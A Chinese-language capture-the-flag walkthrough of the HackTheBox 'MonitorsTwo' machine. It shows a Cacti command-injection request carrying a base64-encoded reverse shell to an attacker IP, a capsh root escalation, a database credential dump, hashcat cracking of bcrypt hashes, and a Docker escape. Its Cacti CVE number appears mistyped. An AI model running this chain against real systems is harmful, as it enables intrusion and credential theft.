MonitorsTwo
1、信息收集,使用nmap进行端口扫描获取目标开放端口服务信息
nmap -sS -A -sV 10.10.11.211
2、扫描发现目标开放了22和80端口,浏览器进行访问
3、发现界面上存在版本信息,直接百度进行搜索发现Cacti当前版本存在命令执行漏洞,CVE漏洞编号为CVE-2022-45169
4、使用BP抓取登录首页包,构造反弹shell的payload
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`bash+-c+"{echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzMvMTIzNCAwPiYxCg==}|{base64,-d}|{bash,-i}"` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: 10.10.11.211
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CactiDateTime=Wed May 24 2023 03:06:27 GMT-0400 (北美东部å¤ä»¤æ—¶é—´); CactiTimeZone=-240; Cacti=55d17ecbfc1bd832c17b4bc873aa17af
Upgrade-Insecure-Requests: 1
5.本地监听1234端口,构造payload反弹shell
6、使用BP发送构造好的payload获取shell
7、env查看当前环境,发现hostname为一串数字疑似docker容器
8、查看/proc/1/cgroup
中是否包括/docker
字样,如果包括就证明当前是在容器中
grep '/docker' /proc/1/cgroup
9、查看当前环境的高权限文件有哪些
find / -perm -u=s 2>/dev/null
10、发现有一个capsh文件,利用capabilities的权限控制机制,获取root权限
capsh —uid=0 —
11、发现并没有找到flag,继续搜集在根目录发现了entrypoint.sh文件,打开进行查看
12、执行其中的mysql语句去查看数据表,发现了其中的user_auth表
mysql --host=db --user=root --password=root cacti -e “show tables”
13、使用sql语句查询表中数据,发现两个用户的账号信息
mysql --host=db --user=root --password=root -e “use cacti;select * from user_auth”
14、使用hashid识别其加密方式
15、当前加密方式为Blowfish,使用hashcat进行爆破获得marcus密码为funkymonkey
hashcat -m 3200 '$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC' -a 0 /usr/share/wordlists/rockyou.txt
hashcat -m 3200 '$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C' -a 0 /usr/share/wordlists/rockyou.txt
16、使用爆出来的密码尝试进行用户登录发现登录失败
17、在最开信息收集使用nmap扫描端口时发现开放着22端口,尝试进行连接
18、ls查看当前目录发现user.txt文件,查看获取到第一个flag并提交成功
19、继续想办法提权root,查看一下高权限文件好像没有什么可利用的
find / -perm -u=s 2>/dev/null
20、考虑到当前部署有docker容器,尝试利用CVE-2021-41091逃逸进行提权,将漏洞利用exp使用python3启动http挂载,将exp下载到靶机中根据redme进行操作
https://github.com/UncleJ4ck/CVE-2021-41091
21、根据exp执行输出结果继续执行获得root权限
22、直接cd进root目录读取root权限的flag